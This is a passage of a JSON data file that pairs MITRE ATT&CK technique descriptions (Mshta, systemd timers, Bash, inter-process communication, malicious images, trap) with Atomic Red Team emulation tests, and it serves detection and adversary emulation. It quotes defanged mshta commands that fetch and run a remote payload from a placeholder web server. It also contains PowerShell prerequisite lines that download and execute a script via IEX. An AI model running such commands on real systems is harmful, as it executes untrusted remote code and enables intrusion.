- "url": "https://attack.mitre.org/techniques/T1170"
- },
- {
- "source_name": "Wikipedia HTML Application",
- "description": "Wikipedia. (2017, October 14). HTML Application. Retrieved October 27, 2017.",
- "url": "https://en.wikipedia.org/wiki/HTML_Application"
- },
- {
- "source_name": "MSDN HTML Applications",
- "description": "Microsoft. (n.d.). HTML Applications. Retrieved October 27, 2017.",
- "url": "https://msdn.microsoft.com/library/ms536471.aspx"
- },
- {
- "url": "https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf",
- "description": "Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.",
- "source_name": "Cylance Dust Storm"
- },
- {
- "source_name": "Red Canary HTA Abuse Part Deux",
- "description": "McCammon, K. (2015, August 14). Microsoft HTML Application (HTA) Abuse, Part Deux. Retrieved October 27, 2017.",
- "url": "https://www.redcanary.com/blog/microsoft-html-application-hta-abuse-part-deux/"
- },
- {
- "url": "https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html",
- "description": "Berry, A., Galang, L., Jiang, G., Leathery, J., Mohandas, R. (2017, April 11). CVE-2017-0199: In the Wild Attacks Leveraging HTA Handler. Retrieved October 27, 2017.",
- "source_name": "FireEye Attacks Leveraging HTA"
- },
- {
- "description": "Dove, A. (2016, March 23). Fileless Malware \u2013 A Behavioural Analysis Of Kovter Persistence. Retrieved December 5, 2017.",
- "source_name": "Airbus Security Kovter Analysis",
- "url": "https://airbus-cyber-security.com/fileless-malware-behavioural-analysis-kovter-persistence/"
- },
- {
- "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html",
- "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.",
- "source_name": "FireEye FIN7 April 2017"
- },
- {
- "source_name": "LOLBAS Mshta",
- "url": "https://lolbas-project.github.io/lolbas/Binaries/Mshta/",
- "description": "LOLBAS. (n.d.). Mshta.exe. Retrieved July 31, 2019."
- }
- ],
- "modified": "2022-01-19T21:19:03.910Z",
- "name": "Mshta",
- "description": "Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension .hta
. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)\n\nAdversaries can use mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) \n\nFiles may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute(\"GetObject(\"\"script:https[:]//webserver/payload[.]sct\"\")\"))
\n\nThey may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta
\n\nMshta.exe can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- }
- ],
- "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the binary being executed.\n\nMonitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious.",
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_defense_bypassed": [
- "Application whitelisting",
- "Digital Certificate Validation"
- ],
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1053.006": {
- "technique": {
- "x_mitre_platforms": [
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "SarathKumar Rajendran, Trimble Inc"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--a542bac9-7bc1-4da7-9a09-96f69e23cc21",
- "type": "attack-pattern",
- "created": "2020-10-12T17:50:31.584Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1053.006",
- "url": "https://attack.mitre.org/techniques/T1053/006"
- },
- {
- "source_name": "archlinux Systemd Timers Aug 2020",
- "url": "https://wiki.archlinux.org/index.php/Systemd/Timers",
- "description": "archlinux. (2020, August 11). systemd/Timers. Retrieved October 12, 2020."
- },
- {
- "source_name": "Systemd Remote Control",
- "url": "https://www.tecmint.com/control-systemd-services-on-remote-linux-server/",
- "description": "Aaron Kili. (2018, January 16). How to Control Systemd Services on Remote Linux Server. Retrieved July 26, 2021."
- },
- {
- "source_name": "Linux man-pages: systemd January 2014",
- "url": "http://man7.org/linux/man-pages/man1/systemd.1.html",
- "description": "Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019."
- },
- {
- "description": "Catalin Cimpanu. (2018, July 10). Malware Found in Arch Linux AUR Package Repository. Retrieved April 23, 2019.",
- "url": "https://www.bleepingcomputer.com/news/security/malware-found-in-arch-linux-aur-package-repository/",
- "source_name": "Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018"
- },
- {
- "description": "Catalin Cimpanu. (2018, July 10). ~x file downloaded in public Arch package compromise. Retrieved April 23, 2019.",
- "url": "https://gist.github.com/campuscodi/74d0d2e35d8fd9499c76333ce027345a",
- "source_name": "gist Arch package compromise 10JUL2018"
- },
- {
- "description": "Eli Schwartz. (2018, June 8). acroread package compromised. Retrieved April 23, 2019.",
- "url": "https://lists.archlinux.org/pipermail/aur-general/2018-July/034153.html",
- "source_name": "acroread package compromised Arch Linux Mail 8JUL2018"
- }
- ],
- "modified": "2021-07-27T16:43:25.027Z",
- "name": "Scheduled Task/Job: Systemd Timers",
- "description": "Adversaries may abuse systemd timers to perform task scheduling for initial or recurring execution of malicious code. Systemd timers are unit files with file extension .timer
that control services. Timers can be set to run on a calendar event or after a time span relative to a starting point. They can be used as an alternative to [Cron](https://attack.mitre.org/techniques/T1053/003) in Linux environments.(Citation: archlinux Systemd Timers Aug 2020) Systemd timers may be activated remotely via the systemctl
command line utility, which operates over [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: Systemd Remote Control)\n\nEach .timer
file must have a corresponding .service
file with the same name, e.g., example.timer
and example.service
. .service
files are [Systemd Service](https://attack.mitre.org/techniques/T1543/002) unit files that are managed by the systemd system and service manager.(Citation: Linux man-pages: systemd January 2014) Privileged timers are written to /etc/systemd/system/
and /usr/lib/systemd/system
while user level are written to ~/.config/systemd/user/
.\n\nAn adversary may use systemd timers to execute malicious code at system startup or on a scheduled basis for persistence.(Citation: Arch Linux Package Systemd Compromise BleepingComputer 10JUL2018)(Citation: gist Arch package compromise 10JUL2018)(Citation: acroread package compromised Arch Linux Mail 8JUL2018) Timers installed using privileged paths may be used to maintain root level persistence. Adversaries may also install user level timers to achieve user level persistence.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Systemd timer unit files may be detected by auditing file creation and modification events within the /etc/systemd/system
, /usr/lib/systemd/system/
, and ~/.config/systemd/user/
directories, as well as associated symbolic links. Suspicious processes or scripts spawned in this manner will have a parent process of \u2018systemd\u2019, a parent process ID of 1, and will usually execute as the \u2018root\u2019 user.\n\nSuspicious systemd timers can also be identified by comparing results against a trusted system baseline. Malicious systemd timers may be detected by using the systemctl utility to examine system wide timers: systemctl list-timers \u2013all
. Analyze the contents of corresponding .service
files present on the file system and ensure that they refer to legitimate, expected executables.\n\nAudit the execution and command-line arguments of the 'systemd-run' utility as it may be used to create timers.(Citation: archlinux Systemd Timers Aug 2020)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Scheduled Job: Scheduled Job Creation",
- "Command: Command Execution",
- "File: File Modification"
- ],
- "x_mitre_permissions_required": [
- "User",
- "root"
- ],
- "x_mitre_remote_support": true,
- "identifier": "T1053.006"
- },
- "atomic_tests": []
- },
- "T1061": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--a6525aec-acc4-47fe-92f9-b9b4de4b9228",
- "type": "attack-pattern",
- "created": "2017-05-31T21:30:50.342Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1061",
- "url": "https://attack.mitre.org/techniques/T1061"
- },
- {
- "url": "https://en.wikipedia.org/wiki/Run_command",
- "description": "Wikipedia. (2018, August 3). Run Command. Retrieved October 12, 2018.",
- "source_name": "Wikipedia Run Command"
- }
- ],
- "modified": "2020-03-30T13:38:08.738Z",
- "name": "Graphical User Interface",
- "description": "**This technique has been deprecated. Please use [Remote Services](https://attack.mitre.org/techniques/T1021) where appropriate.**\n\nThe Graphical User Interfaces (GUI) is a common way to interact with an operating system. Adversaries may use a system's GUI during an operation, commonly through a remote interactive session such as [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076), instead of through a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), to search for information and execute files via mouse double-click events, the Windows Run command (Citation: Wikipedia Run Command), or other potentially difficult to monitor interactions.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- }
- ],
- "x_mitre_detection": "Detection of execution through the GUI will likely lead to significant false positives. Other factors should be considered to detect misuse of services that can lead to adversaries gaining access to systems through interactive remote sessions. \n\nUnknown or unusual process launches outside of normal behavior on a particular system occurring through remote interactive sessions are suspicious. Collect and audit security logs that may indicate access to and use of Legitimate Credentials to access remote systems within the network.",
- "x_mitre_deprecated": true,
- "x_mitre_version": "2.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "User",
- "Administrator",
- "SYSTEM"
- ],
- "x_mitre_remote_support": true
- },
- "atomic_tests": []
- },
- "T1059.004": {
- "technique": {
- "x_mitre_platforms": [
- "macOS",
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56",
- "type": "attack-pattern",
- "created": "2020-03-09T14:15:05.330Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1059.004",
- "url": "https://attack.mitre.org/techniques/T1059/004"
- },
- {
- "source_name": "DieNet Bash",
- "url": "https://linux.die.net/man/1/bash",
- "description": "die.net. (n.d.). bash(1) - Linux man page. Retrieved June 12, 2020."
- },
- {
- "source_name": "Apple ZShell",
- "url": "https://support.apple.com/HT208050",
- "description": "Apple. (2020, January 28). Use zsh as the default shell on your Mac. Retrieved June 12, 2020."
- }
- ],
- "modified": "2021-07-26T22:34:43.261Z",
- "name": "Command and Scripting Interpreter: Bash",
- "description": "Adversaries may abuse Unix shell commands and scripts for execution. Unix shells are the primary command prompt on Linux and macOS systems, though many variations of the Unix shell exist (e.g. sh, bash, zsh, etc.) depending on the specific OS or distribution.(Citation: DieNet Bash)(Citation: Apple ZShell) Unix shells can control every aspect of a system, with certain commands requiring elevated privileges.\n\nUnix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops. Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems.\n\nAdversaries may abuse Unix shells to execute various commands or payloads. Interactive shells may be accessed through command and control channels or during lateral movement such as with [SSH](https://attack.mitre.org/techniques/T1021/004). Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- }
- ],
- "x_mitre_detection": "Unix shell usage may be common on administrator, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information discovery, collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script. ",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Command: Command Execution"
- ],
- "x_mitre_permissions_required": [
- "User",
- "root"
- ],
- "x_mitre_remote_support": true,
- "identifier": "T1059.004"
- },
- "atomic_tests": []
- },
- "T1559": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "macOS",
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d",
- "type": "attack-pattern",
- "created": "2020-02-12T14:08:48.689Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1559",
- "url": "https://attack.mitre.org/techniques/T1559"
- },
- {
- "source_name": "Linux IPC",
- "url": "https://www.geeksforgeeks.org/inter-process-communication-ipc/#:~:text=Inter%2Dprocess%20communication%20(IPC),of%20co%2Doperation%20between%20them.",
- "description": "N/A. (2021, April 1). Inter Process Communication (IPC). Retrieved March 11, 2022."
- },
- {
- "source_name": "Fireeye Hunting COM June 2019",
- "url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html",
- "description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019."
- }
- ],
- "modified": "2022-03-11T20:23:23.122Z",
- "name": "Inter-Process Communication",
- "description": "Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern. \n\nAdversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or [Component Object Model](https://attack.mitre.org/techniques/T1559/001). Linux environments support several different IPC mechanisms, two of which being sockets and pipes.(Citation: Linux IPC) Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms. Adversaries may also use [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) to facilitate remote IPC execution.(Citation: Fireeye Hunting COM June 2019)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- }
- ],
- "x_mitre_detection": "Monitor for strings in files/commands, loaded DLLs/libraries, or spawned processes that are associated with abuse of IPC mechanisms.",
- "x_mitre_version": "1.2",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Module: Module Load",
- "Process: Process Creation",
- "Script: Script Execution",
- "Process: Process Access"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "User",
- "SYSTEM"
- ],
- "x_mitre_remote_support": true,
- "identifier": "T1559"
- },
- "atomic_tests": [
- {
- "name": "Cobalt Strike Artifact Kit pipe",
- "auto_generated_guid": "bd13b9fc-b758-496a-b81a-397462f82c72",
- "description": "Uses the [Named Pipes Micro Emulation](https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/micro_emulation_plans/src/named_pipes) executable from the Center for Threat Informed Defense to create a named pipe for inter-process communication.\n\nThe named pipe executable will pause for 30 seconds to allow the client and server to exchange a message through the pipe.\n",
- "supported_platforms": [
- "windows"
- ],
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Named pipe executors must exist on disk\n",
- "prereq_command": "if ((Test-Path PathToAtomicsFolder\\T1559\\bin\\build\\namedpipes_executor.exe) -and (Test-Path PathToAtomicsFolder\\T1559\\bin\\build\\namedpipes_client.exe) -and (Test-Path PathToAtomicsFolder\\T1559\\bin\\build\\namedpipes_server.exe)) {exit 0} else {exit 1}\n",
- "get_prereq_command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing)\n$zipUrl = \"https://github.com/center-for-threat-informed-defense/adversary_emulation_library/raw/master/micro_emulation_plans/src/named_pipes/named_pipes.zip\"\nInvoke-FetchFromZip $zipUrl \"*.exe\" \"PathToAtomicsFolder\\T1559\\bin\"\n"
- }
- ],
- "executor": {
- "command": "\"PathToAtomicsFolder\\T1559\\bin\\build\\namedpipes_executor.exe\" --pipe 1\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Cobalt Strike Lateral Movement (psexec_psh) pipe",
- "auto_generated_guid": "830c8b6c-7a70-4f40-b975-8bbe74558acd",
- "description": "Uses the [Named Pipes Micro Emulation](https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/micro_emulation_plans/src/named_pipes) executable from the Center for Threat Informed Defense to create a named pipe for inter-process communication.\n\nThe named pipe executable will pause for 30 seconds to allow the client and server to exchange a message through the pipe.\n",
- "supported_platforms": [
- "windows"
- ],
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Named pipe executors must exist on disk\n",
- "prereq_command": "if ((Test-Path PathToAtomicsFolder\\T1559\\bin\\build\\namedpipes_executor.exe) -and (Test-Path PathToAtomicsFolder\\T1559\\bin\\build\\namedpipes_client.exe) -and (Test-Path PathToAtomicsFolder\\T1559\\bin\\build\\namedpipes_server.exe)) {exit 0} else {exit 1}\n",
- "get_prereq_command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing)\n$zipUrl = \"https://github.com/center-for-threat-informed-defense/adversary_emulation_library/raw/master/micro_emulation_plans/src/named_pipes/named_pipes.zip\"\nInvoke-FetchFromZip $zipUrl \"*.exe\" \"PathToAtomicsFolder\\T1559\\bin\"\n"
- }
- ],
- "executor": {
- "command": "\"PathToAtomicsFolder\\T1559\\bin\\build\\namedpipes_executor.exe\" --pipe 2\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Cobalt Strike SSH (postex_ssh) pipe",
- "auto_generated_guid": "d1f72fa0-5bc2-4b4b-bd1e-43b6e8cfb2e6",
- "description": "Uses the [Named Pipes Micro Emulation](https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/micro_emulation_plans/src/named_pipes) executable from the Center for Threat Informed Defense to create a named pipe for inter-process communication.\n\nThe named pipe executable will pause for 30 seconds to allow the client and server to exchange a message through the pipe.\n",
- "supported_platforms": [
- "windows"
- ],
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Named pipe executors must exist on disk\n",
- "prereq_command": "if ((Test-Path PathToAtomicsFolder\\T1559\\bin\\build\\namedpipes_executor.exe) -and (Test-Path PathToAtomicsFolder\\T1559\\bin\\build\\namedpipes_client.exe) -and (Test-Path PathToAtomicsFolder\\T1559\\bin\\build\\namedpipes_server.exe)) {exit 0} else {exit 1}\n",
- "get_prereq_command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing)\n$zipUrl = \"https://github.com/center-for-threat-informed-defense/adversary_emulation_library/raw/master/micro_emulation_plans/src/named_pipes/named_pipes.zip\"\nInvoke-FetchFromZip $zipUrl \"*.exe\" \"PathToAtomicsFolder\\T1559\\bin\"\n"
- }
- ],
- "executor": {
- "command": "\"PathToAtomicsFolder\\T1559\\bin\\build\\namedpipes_executor.exe\" --pipe 3\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Cobalt Strike post-exploitation pipe (4.2 and later)",
- "auto_generated_guid": "7a48f482-246f-4aeb-9837-21c271ebf244",
- "description": "Uses the [Named Pipes Micro Emulation](https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/micro_emulation_plans/src/named_pipes) executable from the Center for Threat Informed Defense to create a named pipe for inter-process communication.\n\nThe named pipe executable will pause for 30 seconds to allow the client and server to exchange a message through the pipe.\n",
- "supported_platforms": [
- "windows"
- ],
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Named pipe executors must exist on disk\n",
- "prereq_command": "if ((Test-Path PathToAtomicsFolder\\T1559\\bin\\build\\namedpipes_executor.exe) -and (Test-Path PathToAtomicsFolder\\T1559\\bin\\build\\namedpipes_client.exe) -and (Test-Path PathToAtomicsFolder\\T1559\\bin\\build\\namedpipes_server.exe)) {exit 0} else {exit 1}\n",
- "get_prereq_command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing)\n$zipUrl = \"https://github.com/center-for-threat-informed-defense/adversary_emulation_library/raw/master/micro_emulation_plans/src/named_pipes/named_pipes.zip\"\nInvoke-FetchFromZip $zipUrl \"*.exe\" \"PathToAtomicsFolder\\T1559\\bin\"\n"
- }
- ],
- "executor": {
- "command": "\"PathToAtomicsFolder\\T1559\\bin\\build\\namedpipes_executor.exe\" --pipe 4\n",
- "name": "command_prompt"
- }
- },
- {
- "name": "Cobalt Strike post-exploitation pipe (before 4.2)",
- "auto_generated_guid": "8dbfc15c-527b-4ab0-a272-019f469d367f",
- "description": "Uses the [Named Pipes Micro Emulation](https://github.com/center-for-threat-informed-defense/adversary_emulation_library/tree/master/micro_emulation_plans/src/named_pipes) executable from the Center for Threat Informed Defense to create a named pipe for inter-process communication.\n\nThe named pipe executable will pause for 30 seconds to allow the client and server to exchange a message through the pipe.\n",
- "supported_platforms": [
- "windows"
- ],
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Named pipe executors must exist on disk\n",
- "prereq_command": "if ((Test-Path PathToAtomicsFolder\\T1559\\bin\\build\\namedpipes_executor.exe) -and (Test-Path PathToAtomicsFolder\\T1559\\bin\\build\\namedpipes_client.exe) -and (Test-Path PathToAtomicsFolder\\T1559\\bin\\build\\namedpipes_server.exe)) {exit 0} else {exit 1}\n",
- "get_prereq_command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing)\n$zipUrl = \"https://github.com/center-for-threat-informed-defense/adversary_emulation_library/raw/master/micro_emulation_plans/src/named_pipes/named_pipes.zip\"\nInvoke-FetchFromZip $zipUrl \"*.exe\" \"PathToAtomicsFolder\\T1559\\bin\"\n"
- }
- ],
- "executor": {
- "command": "\"PathToAtomicsFolder\\T1559\\bin\\build\\namedpipes_executor.exe\" --pipe 5\n",
- "name": "command_prompt"
- }
- }
- ]
- },
- "T1204.003": {
- "technique": {
- "x_mitre_platforms": [
- "IaaS",
- "Containers"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Center for Threat-Informed Defense (CTID)",
- "Vishwas Manral, McAfee"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--b0c74ef9-c61e-4986-88cb-78da98a355ec",
- "type": "attack-pattern",
- "created": "2021-03-30T17:20:05.789Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1204.003",
- "url": "https://attack.mitre.org/techniques/T1204/003"
- },
- {
- "source_name": "Summit Route Malicious AMIs",
- "url": "https://summitroute.com/blog/2018/09/24/investigating_malicious_amis/",
- "description": "Piper, S.. (2018, September 24). Investigating Malicious AMIs. Retrieved March 30, 2021."
- },
- {
- "source_name": "Aqua Security Cloud Native Threat Report June 2021",
- "url": "https://info.aquasec.com/hubfs/Threat%20reports/AquaSecurity_Cloud_Native_Threat_Report_2021.pdf?utm_campaign=WP%20-%20Jun2021%20Nautilus%202021%20Threat%20Research%20Report&utm_medium=email&_hsmi=132931006&_hsenc=p2ANqtz-_8oopT5Uhqab8B7kE0l3iFo1koirxtyfTehxF7N-EdGYrwk30gfiwp5SiNlW3G0TNKZxUcDkYOtwQ9S6nNVNyEO-Dgrw&utm_content=132931006&utm_source=hs_automation",
- "description": "Team Nautilus. (2021, June). Attacks in the Wild on the Container Supply Chain and Infrastructure. Retrieved August 26, 2021."
- }
- ],
- "modified": "2021-08-26T16:42:35.318Z",
- "name": "Malicious Image",
- "description": "Adversaries may rely on a user running a malicious image to facilitate execution. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be backdoored. Backdoored images may be uploaded to a public repository via [Upload Malware](https://attack.mitre.org/techniques/T1608/001), and users may then download and deploy an instance or container from the image without realizing the image is malicious, thus bypassing techniques that specifically achieve Initial Access. This can lead to the execution of malicious code, such as code that executes cryptocurrency mining, in the instance or container.(Citation: Summit Route Malicious AMIs)\n\nAdversaries may also name images a certain way to increase the chance of users mistakenly deploying an instance or container from the image (ex: [Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005)).(Citation: Aqua Security Cloud Native Threat Report June 2021)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- }
- ],
- "x_mitre_detection": "Monitor the local image registry to make sure malicious images are not added. Track the deployment of new containers, especially from newly built images. Monitor the behavior of containers within the environment to detect anomalous behavior or malicious activity after users deploy from malicious images.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Instance: Instance Start",
- "Container: Container Creation",
- "Image: Image Creation",
- "Application Log: Application Log Content",
- "Container: Container Start",
- "Instance: Instance Creation",
- "Command: Command Execution"
- ],
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1154": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--b53dbcc6-147d-48bb-9df4-bcb8bb808ff6",
- "type": "attack-pattern",
- "created": "2017-12-14T16:46:06.044Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1154",
- "url": "https://attack.mitre.org/techniques/T1154"
- },
- {
- "source_name": "Trap Manual",
- "url": "https://ss64.com/bash/trap.html",
- "description": "ss64. (n.d.). trap. Retrieved May 21, 2019."
- },
- {
- "source_name": "Cyberciti Trap Statements",
- "url": "https://bash.cyberciti.biz/guide/Trap_statement",
- "description": "Cyberciti. (2016, March 29). Trap statement. Retrieved May 21, 2019."
- }
- ],
- "modified": "2020-01-24T14:18:13.478Z",
- "name": "Trap",
- "description": "The trap
command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c
and ctrl+d
. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format trap 'command list' signals
where \"command list\" will be executed when \"signals\" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "execution"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Trap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts.",
- "x_mitre_version": "1.1",
